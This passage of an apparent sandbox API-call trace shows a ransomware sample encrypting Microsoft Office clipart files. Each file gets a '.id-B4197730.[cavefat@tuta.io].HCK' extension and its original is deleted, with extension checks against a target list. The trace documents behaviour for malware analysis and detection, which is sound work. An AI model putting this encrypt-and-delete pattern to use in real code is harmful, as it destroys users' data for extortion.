lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1c80, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1c80, lpOverlapped=0x0) returned 1 [0178.588] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.588] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.589] SetEndOfFile (hFile=0x370) returned 1 [0178.590] CloseHandle (hObject=0x370) returned 1 [0178.592] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.592] SetEndOfFile (hFile=0x300) returned 1 [0178.593] CloseHandle (hObject=0x300) returned 1 [0178.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01158_.wmf")) returned 1 [0178.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF") returned 68 [0178.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF") returned 68 [0178.595] lstrlenW (lpString=".doc") returned 4 [0178.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.595] lstrlenW (lpString=".docx") returned 5 [0178.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.595] lstrlenW (lpString=".pdf") returned 4 [0178.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.595] lstrlenW (lpString=".xls") returned 4 [0178.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.595] lstrlenW (lpString=".xlsx") returned 5 [0178.595] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.595] lstrlenW (lpString=".ppt") returned 4 [0178.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF") returned 68 [0178.596] lstrlenW (lpString=".zip") returned 4 [0178.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.596] lstrlenW (lpString=".rar") returned 4 [0178.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.596] lstrlenW (lpString=".bz2") returned 4 [0178.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.596] lstrlenW (lpString=".7z") returned 3 [0178.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF") returned 68 [0178.596] lstrlenW (lpString=".dbf") returned 4 [0178.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF") returned 68 [0178.596] lstrlenW (lpString=".1cd") returned 4 [0178.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF") returned 68 [0178.596] lstrlenW (lpString=".jpg") returned 4 [0178.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF") returned 68 [0178.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF") returned 68 [0178.596] lstrlenW (lpString=".doc") returned 4 [0178.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.596] lstrlenW (lpString=".docx") returned 5 [0178.596] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.596] lstrlenW (lpString=".pdf") returned 4 [0178.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.596] lstrlenW (lpString=".xls") returned 4 [0178.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.596] lstrlenW (lpString=".xlsx") returned 5 [0178.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.596] lstrlenW (lpString=".ppt") returned 4 [0178.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF") returned 68 [0178.596] lstrlenW (lpString=".zip") returned 4 [0178.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.596] lstrlenW (lpString=".rar") returned 4 [0178.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.596] lstrlenW (lpString=".bz2") returned 4 [0178.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.596] lstrlenW (lpString=".7z") returned 3 [0178.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF") returned 68 [0178.597] lstrlenW (lpString=".dbf") returned 4 [0178.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF") returned 68 [0178.597] lstrlenW (lpString=".1cd") returned 4 [0178.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF") returned 68 [0178.597] lstrlenW (lpString=".jpg") returned 4 [0178.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.597] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.597] lstrlenW (lpString="NA01354_.WMF") returned 12 [0178.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01354_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.598] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5806) returned 1 [0178.598] CloseHandle (hObject=0x2fc) returned 1 [0178.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01354_.wmf")) returned 0x220 [0178.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01354_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01354_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.606] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.606] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01354_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.608] GetLastError () returned 0x0 [0178.608] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x16ae, lpOverlapped=0x0) returned 1 [0178.610] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x16b0, lpOverlapped=0x0) returned 1 [0178.611] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.611] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.611] SetEndOfFile (hFile=0x2fc) returned 1 [0178.614] CloseHandle (hObject=0x2fc) returned 1 [0178.614] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.614] SetEndOfFile (hFile=0x39c) returned 1 [0178.616] CloseHandle (hObject=0x39c) returned 1 [0178.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01354_.wmf")) returned 1 [0178.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF") returned 68 [0178.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF") returned 68 [0178.619] lstrlenW (lpString=".doc") returned 4 [0178.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.619] lstrlenW (lpString=".docx") returned 5 [0178.619] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.619] lstrlenW (lpString=".pdf") returned 4 [0178.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.619] lstrlenW (lpString=".xls") returned 4 [0178.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.619] lstrlenW (lpString=".xlsx") returned 5 [0178.619] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.619] lstrlenW (lpString=".ppt") returned 4 [0178.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF") returned 68 [0178.619] lstrlenW (lpString=".zip") returned 4 [0178.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.619] lstrlenW (lpString=".rar") returned 4 [0178.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.619] lstrlenW (lpString=".bz2") returned 4 [0178.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.619] lstrlenW (lpString=".7z") returned 3 [0178.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF") returned 68 [0178.619] lstrlenW (lpString=".dbf") returned 4 [0178.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF") returned 68 [0178.619] lstrlenW (lpString=".1cd") returned 4 [0178.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF") returned 68 [0178.619] lstrlenW (lpString=".jpg") returned 4 [0178.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF") returned 68 [0178.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF") returned 68 [0178.619] lstrlenW (lpString=".doc") returned 4 [0178.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.619] lstrlenW (lpString=".docx") returned 5 [0178.619] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.619] lstrlenW (lpString=".pdf") returned 4 [0178.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.620] lstrlenW (lpString=".xls") returned 4 [0178.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.620] lstrlenW (lpString=".xlsx") returned 5 [0178.620] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.620] lstrlenW (lpString=".ppt") returned 4 [0178.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF") returned 68 [0178.620] lstrlenW (lpString=".zip") returned 4 [0178.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.620] lstrlenW (lpString=".rar") returned 4 [0178.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.620] lstrlenW (lpString=".bz2") returned 4 [0178.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.620] lstrlenW (lpString=".7z") returned 3 [0178.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF") returned 68 [0178.620] lstrlenW (lpString=".dbf") returned 4 [0178.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF") returned 68 [0178.620] lstrlenW (lpString=".1cd") returned 4 [0178.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF") returned 68 [0178.620] lstrlenW (lpString=".jpg") returned 4 [0178.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.620] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.620] lstrlenW (lpString="NA01361_.WMF") returned 12 [0178.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.622] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=7028) returned 1 [0178.622] CloseHandle (hObject=0x368) returned 1 [0178.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01361_.wmf")) returned 0x220 [0178.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01361_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.629] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.629] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01361_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.633] GetLastError () returned 0x0 [0178.633] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1b74, lpOverlapped=0x0) returned 1 [0178.635] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1b80, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1b80, lpOverlapped=0x0) returned 1 [0178.636] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.636] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.636] SetEndOfFile (hFile=0x39c) returned 1 [0178.638] CloseHandle (hObject=0x39c) returned 1 [0178.639] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.639] SetEndOfFile (hFile=0x300) returned 1 [0178.643] CloseHandle (hObject=0x300) returned 1 [0178.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01361_.wmf")) returned 1 [0178.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF") returned 68 [0178.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF") returned 68 [0178.644] lstrlenW (lpString=".doc") returned 4 [0178.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.644] lstrlenW (lpString=".docx") returned 5 [0178.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.644] lstrlenW (lpString=".pdf") returned 4 [0178.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.644] lstrlenW (lpString=".xls") returned 4 [0178.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.644] lstrlenW (lpString=".xlsx") returned 5 [0178.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.644] lstrlenW (lpString=".ppt") returned 4 [0178.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF") returned 68 [0178.644] lstrlenW (lpString=".zip") returned 4 [0178.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.644] lstrlenW (lpString=".rar") returned 4 [0178.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.644] lstrlenW (lpString=".bz2") returned 4 [0178.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.644] lstrlenW (lpString=".7z") returned 3 [0178.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF") returned 68 [0178.644] lstrlenW (lpString=".dbf") returned 4 [0178.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF") returned 68 [0178.644] lstrlenW (lpString=".1cd") returned 4 [0178.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF") returned 68 [0178.644] lstrlenW (lpString=".jpg") returned 4 [0178.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF") returned 68 [0178.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF") returned 68 [0178.645] lstrlenW (lpString=".doc") returned 4 [0178.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.645] lstrlenW (lpString=".docx") returned 5 [0178.645] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.645] lstrlenW (lpString=".pdf") returned 4 [0178.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.645] lstrlenW (lpString=".xls") returned 4 [0178.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.645] lstrlenW (lpString=".xlsx") returned 5 [0178.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.645] lstrlenW (lpString=".ppt") returned 4 [0178.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF") returned 68 [0178.645] lstrlenW (lpString=".zip") returned 4 [0178.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.645] lstrlenW (lpString=".rar") returned 4 [0178.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.645] lstrlenW (lpString=".bz2") returned 4 [0178.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.645] lstrlenW (lpString=".7z") returned 3 [0178.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF") returned 68 [0178.645] lstrlenW (lpString=".dbf") returned 4 [0178.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF") returned 68 [0178.645] lstrlenW (lpString=".1cd") returned 4 [0178.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF") returned 68 [0178.645] lstrlenW (lpString=".jpg") returned 4 [0178.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.645] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.645] lstrlenW (lpString="NA01470_.WMF") returned 12 [0178.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01470_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.647] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=19162) returned 1 [0178.647] CloseHandle (hObject=0x368) returned 1 [0178.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01470_.wmf")) returned 0x220 [0178.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01470_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01470_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.669] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.669] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01470_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.675] GetLastError () returned 0x0 [0178.675] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x4ada, lpOverlapped=0x0) returned 1 [0178.676] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x4ae0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x4ae0, lpOverlapped=0x0) returned 1 [0178.677] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, 